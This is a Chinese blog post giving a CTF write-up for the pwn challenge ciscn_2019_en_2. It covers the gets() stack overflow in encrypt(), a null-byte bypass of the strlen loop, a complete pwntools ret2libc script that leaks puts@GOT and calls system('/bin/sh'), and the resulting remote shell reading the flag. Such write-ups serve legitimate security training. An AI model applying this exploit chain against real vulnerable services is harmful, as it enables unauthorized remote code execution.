【pwn做题记录】ciscn_2019_en_2 1

例题:ciscn_2019_en_2 1
首先检查一下文件

C:\Users\A\Downloads>checksec ciscn_2019_en_2
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_en_2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • 64位程序,小端序
  • GOT表只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

用IDA打开,看一下main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

由于程序有点长,也不好懂,所以直接定位到可以感觉可以注入的地方

__isoc99_scanf("%d", &v4);

但是这里用的是%d,仅写入固定大小的 int 变量。

运行一下程序
image
显然是一个加密解密的操作。我们看一下感觉比较重要的加密函数encrypt()

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}
  • 发现注入点:gets(s);可以尝试栈溢出
  • while循环这里应该是对s的加密过程,因此要绕过
  • 绕过条件:v0 >= strlen(s),而v0不知道多少(默认很小就行了)
  • strlen()函数的原理是读取字符串到\x00的时候停止,所以可以用00截断绕过
  • 最后的return puts(s);根据运行程序的结果,应该是打印加密后的结果

再看看程序有没有system,/bin/sh,sh,syscall等,发现都没有。
因此我们的思路很清晰了,由于这是一个动态链接的程序,所以:

  • 先输入1,选择加密
  • 接着输入"\x00 + 垃圾数据 + 打印put@got + 返回到main",暴露got地址,用于动态链接查询;返回main,用于二次注入。
  • 接着二次注入,由于回到了main函数,所以输入1,选择加密
  • 在输入"\x00 + 垃圾数据 + system(/bin/sh)",就可以得到flag了

在思路分析的过程中,发现需要给函数传参,由于这是64位程序,所以需要获得pop_rdi_ret的gadget(顺便找一下有没有ret,用于解决栈对齐问题):

┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret" | grep "rdi"
0x0000000000400c83 : pop rdi ; ret
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret" | grep "ret"
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

因此我们选择:

0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret

攻击脚本

from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *

#context.log_level = 'debug'
file = "./ciscn_2019_en_2"
elf = ELF(file)
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400c83
ret = 0x4006b9
offset = 0x50 + 8

local = 2
if local == 1:
  io = process(file)
else:
  io = remote("node5.buuoj.cn",28437)

# 选择加密方式
pay = b'1'
io.recvuntil(b"choice!\n")
io.sendline(pay)

# 由于\0也是我们的垃圾数据之一,所以offset - 1
pay = b'\0' + b'a' * (offset - 1) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b"encrypted\n")
io.sendline(pay)
io.recvline() # 接收Ciphertext
io.recvline() # 接收加密结果
puts = u64(io.recvline()[:-1].ljust(8,b'\0')) # 由于recvline会有个\n,所以需要用切片截取一下
print(hex(puts))

libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

pay = b'1'
io.recvuntil(b"choice!\n")
io.sendline(pay)

# 不加ret的时候攻击不了,因此存在栈对齐,所以我们给他加个ret,平衡一下
pay = b'\0' + b'a' * (offset - 1) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil(b"encrypted\n")
io.sendline(pay)

io.interactive()

就可以得到flag了:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 28437: Done
0x7f8b0b9f49c0
Multi Results:
 0: ubuntu-old-glibc (id libc6_2.3.6-0ubuntu20_i386_2)
 1: ubuntu-glibc (id libc6_2.27-3ubuntu1_amd64)
Please supply more info using 
        add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1
[+] ubuntu-glibc (id libc6_2.27-3ubuntu1_amd64) be choosed.
[*] Switching to interactive mode
Ciphertext

$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{4dcaa9a2-035d-46de-a230-d4ebf5c3dd04}
$ 
[*] Closed connection to node5.buuoj.cn port 28437

疑惑点

为什么对gets(s)进行栈溢出,却还会执行下面的加密过程?
因为s这个数组是在encrypt()里定义的,我们输入超长的数据,本质上是让s不断变大,直到覆盖了encrypt的返回地址,不是覆盖gets的返回地址。因此需要执行完encrypt后,才会调用我们栈溢出后的payload

为什么这里选择加密方式使用b'1',而不是其他?
scanf 函数的 %d 格式说明符用于读取 ASCII 字符形式的整数(即文本模式的数字)。它的解析逻辑是:
从输入流中逐个读取字符,识别出 0-9 这些 ASCII 字符组成的数字序列(如 "1"、"123"),然后将其转换为对应的整数(如 1、123),最终存入 v4 变量。

b'1'是一个单字节的ASCII字符,对应二进制是0x31。当程序执行 scanf("%d", &v4) 时,会读取到这个 0x31 字符,识别为数字 1,并将 v4 的值设为 1,从而触发 encrypt() 函数(符合程序逻辑:v4 == 1 时调用加密功能)。
而p64(1)是发送一个b'\x01\x00\x00\x00\x00\x00\x00\x00',相当于发送了0x01,而0x01不是一个可见ASCII字符,所以不能用p64()发送。
而p64(0x31)不行的原因是因为发送出去的0x31后面紧跟着0x00,scanf读取到0x00停止,随后 getchar() 会读取缓冲区中剩余的第一个字符(目的是清除 scanf 未处理的换行符,避免影响下一次输入)。虽然程序收到的是'1',但是getchar()发现剩余字符有0x00,因此会导致下次输入异常。

posted @ 2025-08-08 14:49  星冥鸢  阅读(21)  评论(0)    收藏  举报